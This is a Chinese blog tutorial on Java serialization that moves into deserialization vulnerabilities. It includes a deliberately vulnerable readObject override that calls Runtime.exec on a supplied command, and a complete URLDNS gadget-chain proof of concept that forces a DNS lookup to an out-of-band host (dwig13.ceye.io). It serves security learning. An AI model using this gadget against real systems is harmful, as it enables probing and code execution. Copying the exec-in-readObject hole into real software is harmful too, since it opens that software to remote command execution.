Java 反序列化基础

前言

在学习java io流操作时涉及到了序列化和反序列化,顺便就把这节内容单独写出来。

序列化与反序列化

Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化则将打开字节流并重构成对象,恢复数据。

  • ObjectOutputStream 类的 writeObject() 方法可以实现序列化,将对象转化为字节流。
  • ObjectInputStream 类的 readObject() 方法用于反序列化,将字节流重构为对象。

序列化实现的方式是

  • 将要序列化的类必须实现 Serializabel 接口,标识该类可序列化。
  • 类里面需要提供常量值serialVersionUID

注意:serialVersionUID 用来表明类的不同版本间的兼容性,在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体类的serialVersionUID进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常(InvalidCastException)。
serialVersionUID 有两种显示的生成方式

  • 一种是默认的1L,如:
private static final long serialVersionUID = 1L;
  • 第二种是是根据类名、接口名、成员方法及属性等来生成一个64位的哈希字段,如:
private static final  long   serialVersionUID = xxxxL;

静态成员变量是不能被序列化。
transient 标识的成员变量不参与序列化。

实例

创建Person类

import java.io.Serializable;
public class Person implements Serializable {
    public  static final long serialVersionUID = 1L;
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

用序列化的方式将person类写入test.dat中

     public void test1() throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(new Person("cseroad",18));
        obos.close();
    }

查看二进制内容,ac ed 00 05是 java 序列化内容的特征

image.png

再用反序列化的方式读入person类

    public void test2() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        System.out.println(obis.readObject());
    }
image.png

如果标记agetransient,则age不参与序列化操作。
反序列化结果随机为

image.png

反序列化漏洞

在反序列化代码中,ObjectInputStream的readObject方法将数据流序列化为对象。
如果 readObject() 方法被重写且编写不当,反序列化时就会调用重写的 readObject() 方法并导致恶意代码执行。
即Person类重写构造器

    public Person(String name, int age,String cmd) {
        this.name = name;
        this.age = age;
        this.cmd = cmd;
    }

重写readObject方法

    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        // 执行默认的 readObject() 方法
        Runtime.getRuntime().exec(cmd);
    }

重新序列化操作

    public void test1() throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(new Person("cseroad",18,"/System/Applications/Calculator.app/Contents/MacOS/Calculator"));
        obos.close();
    }

当再次执行反序列化操作时,命令就会得以执行。

    public void test2() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        System.out.println(obis.readObject());
    }
image.png

实际应用的反序列化漏洞会更加复杂。
至少需要满足以下几点:
共同条件:继承 Serializable

  • 入口类 source (即找到重写 readObject方法,调用常见的函数,参数类型宽泛 最好 jdk 自带)
  • 调用链 gadget chain (基于类的默认方式调用)
  • 执行类 sink (RCE、SSRF、写文件等操作)

DNSURL gadge 分析

首先HashMap类里重写了readObject方法,该方法的putVal方法会读取键和值并放入HashMap

image.png

查看hash方法的源代码

image.png

如果 key == null,hashcode 赋值为 0。key 存在的话,则调用 key 的hashcode方法。

假设key传递的是URL对象,就会调用URL对象的hashcode方法。

image.png

当 hashcode 不为 -1时,就会返回hashcode
当 hashcode == -1 时,就会调用URLStreamHandler类hashCode方法。

image.png

在第359行,调用getHostAddress获取域名对应的 IP。

捋清楚以上过程,我们尝试编写一下poc。
创建HashMap集合,再创建一个URL对象并添加进去,然后进行序列化和反序列化。

    public void poc1() throws IOException, ClassNotFoundException {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        hashMap.put(url, "111");
        serialize(hashMap);
        unserialize();
    }

执行后发现竟然执行了两次查询。

image.png

当序列化操作时,就会进行一次DNS查询。跟进代码查看

image.png

调用put方法时就会执行hash方法,然后调用URL对象的hashcode方法。

image.png

进而执行了URLStreamHandler类hashCode方法,调用getHostAddress获取域名对应的 IP。
所以要想序列化时不进行DNS查询,在序列化的时候,需要设置hashcode不为 -1。
那如何设置hashcode值呢?利用反射修改hashcode值。

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xabcdef);

设置hashcode0xabcdef,即11259375。

image.png

当执行到URL对象的hashcode方法时,hashcode不为-1,直接return

image.png

以上就解决了序列化的过程。而反序列化时需要进行DNS查询,所以在hashMap的put之后,再将hashcode修改回-1。

    public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xabcdef);
        hashMap.put(url, "111");
        f.set(url, -1);
        serialize(hashMap);
        unserialize();
    }
image.png

回顾整个过程,简单画个思维脑图

image.png

完整poc为


import org.junit.Test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class TcpTest {
    public void serialize(Object obj) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(obj);
        obos.close();
    }
    public void unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        obis.readObject();
    }
    @Test
    public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xabcdef);
        hashMap.put(url, "111");
        f.set(url, -1);
        serialize(hashMap);
        unserialize();
    }

}

总结

通过java基础的序列化操作,利用IDEA debug操作和一点反射内容分析了最简单的DNSURL 调用链。

参考资料

https://xz.aliyun.com/t/6787#toc-10
https://xz.aliyun.com/t/9417

你可能感兴趣的:(Java 反序列化基础)